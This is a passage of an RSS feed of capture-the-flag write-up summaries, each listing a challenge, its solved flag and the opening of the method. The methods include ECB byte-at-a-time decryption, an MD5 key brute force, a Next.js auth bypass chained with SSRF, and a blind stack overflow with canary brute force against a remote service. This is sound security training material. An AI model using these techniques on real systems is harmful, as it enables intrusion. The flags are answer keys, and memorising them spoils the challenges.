&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;compressed&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;compressed&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The image has one NTFS partition starting at sector 2048, volume label &lt;code&gt;BLACK_TIDE&lt;/code&gt;. &lt;code&gt;7z l&lt;/code&gt; lists the normal files (journals, crew roster, ship logs) but not the captain's final entry. &lt;code&gt;strings&lt;/code&gt; on the partition still finds it in free space. It says the entry is Vigenere-encrypted with:&lt;/p&gt;</description></item><item><title>The Cursed APK</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/the-cursed-apk/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/the-cursed-apk/</guid><description>&lt;p&gt;Mobile Security, Hard, 300 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;FLAG{d34d_m3n_t3ll_n0_t4l35_fr1d4_unl0ck5_th3_cur53d_v4ult}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The challenge pushes you towards Frida and an emulator-hiding setup, but the root/emulator checks aren't a gate. They change a number that goes into the key, so on a &amp;quot;wrong&amp;quot; device you just get garbage out. You can skip the device entirely and compute the clean-device key offline.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;Honeypot&lt;/code&gt; has a decoy flag (&lt;code&gt;y0u_f0und_f00ls_g0ld_matey&lt;/code&gt;). The real logic is in &lt;code&gt;VaultCore&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Oath.&lt;/strong&gt; &lt;code&gt;getSeaOath()&lt;/code&gt; builds the passphrase in three parts: bytes &lt;code&gt;[30,31,27,30,5,23,31,20,5]&lt;/code&gt; XOR 90 give &lt;code&gt;DEAD_MEN_&lt;/code&gt;, a literal &lt;code&gt;TELL_NO_&lt;/code&gt;, and ints minus 50 give &lt;code&gt;TALES_1718&lt;/code&gt;. The oath is &lt;code&gt;DEAD_MEN_TELL_NO_TALES_1718&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>The Cursed Encryption Oracle</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/the-cursed-encryption/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/the-cursed-encryption/</guid><description>&lt;p&gt;Crypto, 200 pts&lt;/p&gt;&#10;&lt;p&gt;Flag: &lt;code&gt;flag{d3ad_m3ns_t3ll_n0_ta1l5_but_ECB_d03s}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The challenge is a web oracle at &lt;code&gt;https://cursed-encryption-oracle.vercel.app&lt;/code&gt;. &lt;code&gt;/info&lt;/code&gt; says it encrypts &lt;code&gt;user_input || secret_flag&lt;/code&gt; with AES-128-ECB and PKCS#7 padding, hex-encoded, with at most 256 input bytes. &lt;code&gt;/encrypt&lt;/code&gt; takes &lt;code&gt;{&amp;quot;plaintext&amp;quot;: &amp;quot;...&amp;quot;}&lt;/code&gt; and returns &lt;code&gt;{&amp;quot;ciphertext&amp;quot;: &amp;quot;&amp;lt;hex&amp;gt;&amp;quot;}&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;Attacker-controlled bytes in front of a secret, with ECB, is the textbook byte-at-a-time setup. Equal plaintext blocks give equal ciphertext blocks, so we can shift the secret across a block boundary and test guesses against it one byte at a time.&lt;/p&gt;</description></item><item><title>The Cursed Syscall</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/the-cursed-syscall/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/the-cursed-syscall/</guid><description>&lt;p&gt;Reverse Engineering, Medium, 300 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;FLAG{c4pt41n_fl1nt_s_curs3d_c0mp4ss_st33rs_t0_tru7h}&lt;/code&gt; (verified offline against the binary's filter)&lt;/p&gt;&#10;&lt;p&gt;The binary is a stripped 16 KB x86-64 PIE. &lt;code&gt;main&lt;/code&gt; at &lt;code&gt;0x11d0&lt;/code&gt; reads a line with &lt;code&gt;fgets&lt;/code&gt;, strips the newline, and requires &lt;code&gt;strlen(input) == 0x34&lt;/code&gt; (52). The 52 bytes are copied to the stack and treated as thirteen little-endian 32-bit chunks.&lt;/p&gt;&#10;&lt;p&gt;It then calls &lt;code&gt;prctl(PR_SET_NO_NEW_PRIVS, 1)&lt;/code&gt; and &lt;code&gt;prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;amp;prog)&lt;/code&gt;. The &lt;code&gt;sock_fprog&lt;/code&gt; at vaddr &lt;code&gt;0x4620&lt;/code&gt; is &lt;code&gt;{len=192, filter=0x4020}&lt;/code&gt;; the BPF program is 192 classic &lt;code&gt;sock_filter&lt;/code&gt; instructions stored in &lt;code&gt;.data&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>The Forgotten Vault</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/forgoten-vault/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/forgoten-vault/</guid><description>&lt;p&gt;Crypto, Easy, 100 pts&lt;/p&gt;&#10;&lt;p&gt;Flag: &lt;code&gt;HACKITUP{md5_k3y_d3r1v4t10n_w1th_p1n_m4ngl1ng_15_f4r_t00_w34k}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;We get &lt;code&gt;challenge.py&lt;/code&gt;, &lt;code&gt;output.txt&lt;/code&gt; (a 64-byte hex ciphertext) and &lt;code&gt;wordlist.txt&lt;/code&gt; (5,460 words). The vault is AES-128-ECB, and the key is &lt;code&gt;MD5(password)&lt;/code&gt; where the password is a wordlist word, first letter capitalized, followed by a 2-digit PIN:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="python"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;python&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;format_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;capitalize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}{&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;02d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;derive_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;That is 5,460 * 100 = 546,000 possible passwords, and MD5 with no salt costs nothing, so the whole space can be searched. ECB doesn't matter here. We never need the block structure, only a way to tell a right key from a wrong one: after decrypting, check for valid PKCS#7 padding and the string &lt;code&gt;HACKITUP&lt;/code&gt; in the plaintext.&lt;/p&gt;</description></item><item><title>The Phantom Application</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/the-phantom-application/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/the-phantom-application/</guid><description>&lt;p&gt;Mobile Security, Hard, 300 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;FLAG{ph4nt0m_n4v1g4t0r_cr4ck3d_th3_bl4ck_sp0t_7721}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The APK (&lt;code&gt;com.phantom.navigator&lt;/code&gt;) has a vault activity that decrypts an AES ledger once you pass an officer/passcode check. Both the check and the key derivation are in the code, so none of it needs the device.&lt;/p&gt;&#10;&lt;p&gt;Decompiling with &lt;code&gt;jadx&lt;/code&gt; gives a handful of classes. &lt;code&gt;StorageManager&lt;/code&gt; seeds SharedPreferences (&lt;code&gt;navigator_prefs&lt;/code&gt;) with the hex ledger and a session nonce, &lt;code&gt;D4RK_T1D3S_7721&lt;/code&gt;. It also seeds a few fake flags (&lt;code&gt;sh4r3d_pr3fs_...&lt;/code&gt;), and &lt;code&gt;QuartermasterValidator.MASTER_KEY&lt;/code&gt; is another one. None of them are the flag.&lt;/p&gt;</description></item><item><title>The Triangle of the Lost Treasure</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/the-triangle-of-the-lost-treasure/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/the-triangle-of-the-lost-treasure/</guid><description>&lt;p&gt;Reverse Engineering, Medium, 200 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;flag{c4pt41n_3ucl1d_4nd_th3_cr055_pr0duct_tr345ur3}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The stated task is to script a client that finds the maximum-area triangle among up to 60 3D points across 5 rounds, each with a 5-second limit, talking to a local judge process (&lt;code&gt;navigator.py&lt;/code&gt;). The intended path is: brute-force all &lt;code&gt;C(n,3)&lt;/code&gt; triples per round, area via the cross product (&lt;code&gt;0.5 * |AB × AC|&lt;/code&gt;), answer fast enough.&lt;/p&gt;&#10;&lt;p&gt;Reading &lt;code&gt;navigator.py&lt;/code&gt; directly skips all of that. The script is plain Python and fully deterministic — there's no per-session randomness:&lt;/p&gt;</description></item><item><title>The Vandoria Leak — "Operation Nexus Gate"</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/valdora/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/valdora/</guid><description>&lt;p&gt;&lt;code&gt;FLAG{58977098b1ab219c693a2ea032db0092c693a2}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Target: &lt;code&gt;https://vandoria.hackitupnow.tech/&lt;/code&gt;, a fake &amp;quot;National Portal of Nigeria&amp;quot; site running Next.js 14.1.0. Three bugs chain together: a known Next.js middleware auth bypass, an SSRF in a Server Action, and a path-check that doesn't cover the actual route.&lt;/p&gt;&#10;&lt;h2 id="recon"&gt;&#10; &lt;a href="#recon" class="md-heading-anchor"&gt;&#10; Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;x-powered-by&lt;/code&gt; gives Next.js 14.1.0. &lt;code&gt;/robots.txt&lt;/code&gt; disallows &lt;code&gt;/admin/&lt;/code&gt;, &lt;code&gt;/classified/&lt;/code&gt;, &lt;code&gt;/internal/&lt;/code&gt;, &lt;code&gt;/api/debug/&lt;/code&gt;, &lt;code&gt;/api/v1/legacy/&lt;/code&gt;, &lt;code&gt;/api/internal/&lt;/code&gt; — basically a map of what to hit. &lt;code&gt;/admin/dashboard&lt;/code&gt; redirects to &lt;code&gt;/login&lt;/code&gt; when unauthenticated. &lt;code&gt;/api/debug&lt;/code&gt; is a decoy that always returns a fake MySQL error regardless of input. &lt;code&gt;/api/health&lt;/code&gt; returns a taunt claiming all CVEs are patched. &lt;code&gt;/api/internal/secrets&lt;/code&gt; returns 403 &amp;quot;restricted to internal network&amp;quot;.&lt;/p&gt;</description></item><item><title>Webhack Solutions</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/webhack-solutions/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/webhack-solutions/</guid><description>&lt;p&gt;OSINT, Easy, 50 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;HITP{hackitup_X_webhackacademy}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The challenge links only to the Instagram account &lt;code&gt;@webhackacademy&lt;/code&gt;. Most of its posters carry a QR code, but every scannable one just points to &lt;code&gt;https://academy.webhacksolutions.com/&lt;/code&gt;, a plain course-signup page with nothing hidden in its HTML, headers, or EXIF. One poster carries a visibly different, denser QR that doesn't decode with any standard tool — a screenshot of an Instagram post isn't clean enough source material for a damaged/dense code, and it turned out to be a dead end rather than the real lead.&lt;/p&gt;</description></item><item><title>Welcome</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/welcode/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/welcode/</guid><description>&lt;p&gt;Crypto, Medium, 200 pts&lt;/p&gt;&#10;&lt;p&gt;Flag: &lt;code&gt;SOS{Welcome_baddy_well_played}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The only input is one string, with the hint &amp;quot;The truth is hidden in the alphabets, not in the words.&amp;quot;&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3HZF7u0WE87LVnejqUQ6yIymxYd4LYh6YqJieV2Oft7iYaggfjl6I93nrGF3N6kEWhTNCdnfjCVuROFAA4sWX7kod&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The string uses only &lt;code&gt;0-9A-Za-z&lt;/code&gt;, which fits Base62. Decoding it as a big-endian number in that alphabet gives another string that contains no &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;O&lt;/code&gt;, &lt;code&gt;I&lt;/code&gt; or &lt;code&gt;l&lt;/code&gt;, a sign that it is Base58 (Bitcoin alphabet). Decoding that gives text made only of &lt;code&gt;A-Z2-7&lt;/code&gt;, which is Base32. So the layers are Base62, then Base58, then Base32.&lt;/p&gt;</description></item><item><title>Algebraic Mirage</title><link>https://hotwater-online.xyz/writeups/cryovault/algebraic-mirage/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/algebraic-mirage/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{3v3ry_m1r4g3_c4575_4_l1n34r_5h4d0w_e39672b62c}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="what-the-capture-contains"&gt;&#10; &lt;a href="#what-the-capture-contains" class="md-heading-anchor"&gt;&#10; What the capture contains&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;public_exchange.sage&lt;/code&gt; gives the epoch 0 parameters, Alice's and Bob's public states, and a shuffled pool of 48 braid anchors. &lt;code&gt;ciphertext.json&lt;/code&gt; contains seven frames. Frame &lt;code&gt;e&lt;/code&gt; is encrypted with the shared secret from epoch &lt;code&gt;e-1&lt;/code&gt;; frames 1–6 reveal the next registry and handshake, while frame 7 contains the vault note. Thus each epoch has to be solved before the next one can even be inspected.&lt;/p&gt;</description></item><item><title>Blizzard</title><link>https://hotwater-online.xyz/writeups/cryovault/blizzard/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/blizzard/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn (blind / remote only)&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 29569&lt;/code&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{bl1nd_sysc4ll_r0p_0p3n_r34d_wr1t3_bl1zz4rd_7f3c}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="protocol-and-bug"&gt;&#10; &lt;a href="#protocol-and-bug" class="md-heading-anchor"&gt;&#10; Protocol and bug&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Two-byte big-endian length followed by that many payload bytes:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;u16&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="p"&gt;][&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Normal response:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;relayed &amp;lt;length&amp;gt;.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;relay&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The payload is copied into an 88-byte stack buffer with no bounds check.&#10;The stack layout is:&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th style="text-align: right"&gt;Offset&lt;/th&gt;&#10; &lt;th&gt;Contents&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: right"&gt;0–87&lt;/td&gt;&#10; &lt;td&gt;frame buffer&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: right"&gt;88–95&lt;/td&gt;&#10; &lt;td&gt;stack canary&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: right"&gt;96–111&lt;/td&gt;&#10; &lt;td&gt;padding&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: right"&gt;112–115&lt;/td&gt;&#10; &lt;td&gt;live client fd (&lt;code&gt;4&lt;/code&gt;)&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: right"&gt;116–135&lt;/td&gt;&#10; &lt;td&gt;padding&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td style="text-align: right"&gt;136–143&lt;/td&gt;&#10; &lt;td&gt;saved return address&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;The canary is stable across forked connections but rotates when the service&#10;restarts. It is recovered byte-by-byte with the &lt;code&gt;relayed N.&lt;/code&gt; response as the&#10;oracle.&lt;/p&gt;</description></item><item><title>Borrowed Address — Recovering the Closing Batch</title><link>https://hotwater-online.xyz/writeups/cryovault/borrowed-address-recovering-the-closing-batch/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/borrowed-address-recovering-the-closing-batch/</guid><description>&lt;h2 id="result"&gt;&#10; &lt;a href="#result" class="md-heading-anchor"&gt;&#10; Result&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The recovered batch is &lt;span class="local-artifact" title="Local challenge artifact; not published"&gt;&lt;code&gt;recovered.fld2&lt;/code&gt;&lt;span class="artifact-note"&gt; (local artifact)&lt;/span&gt;&lt;/span&gt;: &lt;strong&gt;167 rows, 6,688 bytes&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SHA-256: b681cb45b3720f023d1c5a025850f7beae363b46de069bc129e1c830755c2696&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Flag: isfcr{b681cb45b3720f023d1c5a025850f7beae363b46de069bc129e1c830755c2696}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The recovery combines three sources: Java compiler metadata, suspended virtual-thread stacks, and historical SQLite WAL snapshots. The final routing results were checked against the supplied native implementation.&lt;/p&gt;&#10;&lt;h2 id="1-inspect-the-incident-bundle"&gt;&#10; &lt;a href="#1-inspect-the-incident-bundle" class="md-heading-anchor"&gt;&#10; 1. Inspect the incident bundle&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Extract the archive and decompress the core:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unzip -q borrowed-address.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gzip -dk borrowed-address/incident/core.gz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The relevant files are:&lt;/p&gt;</description></item><item><title>Chronoglyph</title><link>https://hotwater-online.xyz/writeups/cryovault/chronoglyph/</link><pubDate>Mon, 26 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/cryovault/chronoglyph/</guid><description>&lt;h2 id="challenge-summary"&gt;&#10; &lt;a href="#challenge-summary" class="md-heading-anchor"&gt;&#10; Challenge summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are given &lt;code&gt;chronoglyph.zip&lt;/code&gt;, containing a single disk image:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chronoglyph/evidence.img&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The prompt says a reporter's workstation was imaged before it was returned, and that the story they were protecting is hidden somewhere on the image. We need to recover the text; the flag is in &lt;code&gt;isfcr{...}&lt;/code&gt; format.&lt;/p&gt;&#10;&lt;p&gt;The image turned out to contain several layers:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;An outer ext4 filesystem (&lt;code&gt;evidence&lt;/code&gt;) with a research project documenting a timestamp-steganography tool called &lt;strong&gt;Chronoglyph&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;A 200-byte Chronoglyph payload hidden in ext4 &lt;code&gt;i_crtime_extra&lt;/code&gt; fields. It contained a LUKS2 passphrase and the location of a hidden encrypted container.&lt;/li&gt;&#10;&lt;li&gt;A LUKS2 container at offset 100 MiB containing a second ext4 filesystem (&lt;code&gt;notes&lt;/code&gt;).&lt;/li&gt;&#10;&lt;li&gt;Deleted zlib-compressed Git objects in the inner filesystem's unallocated blocks. One of them held the real story and flag, surrounded by several fake flags.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-initial-triage"&gt;&#10; &lt;a href="#1-initial-triage" class="md-heading-anchor"&gt;&#10; 1. Initial triage&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unzip chronoglyph.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 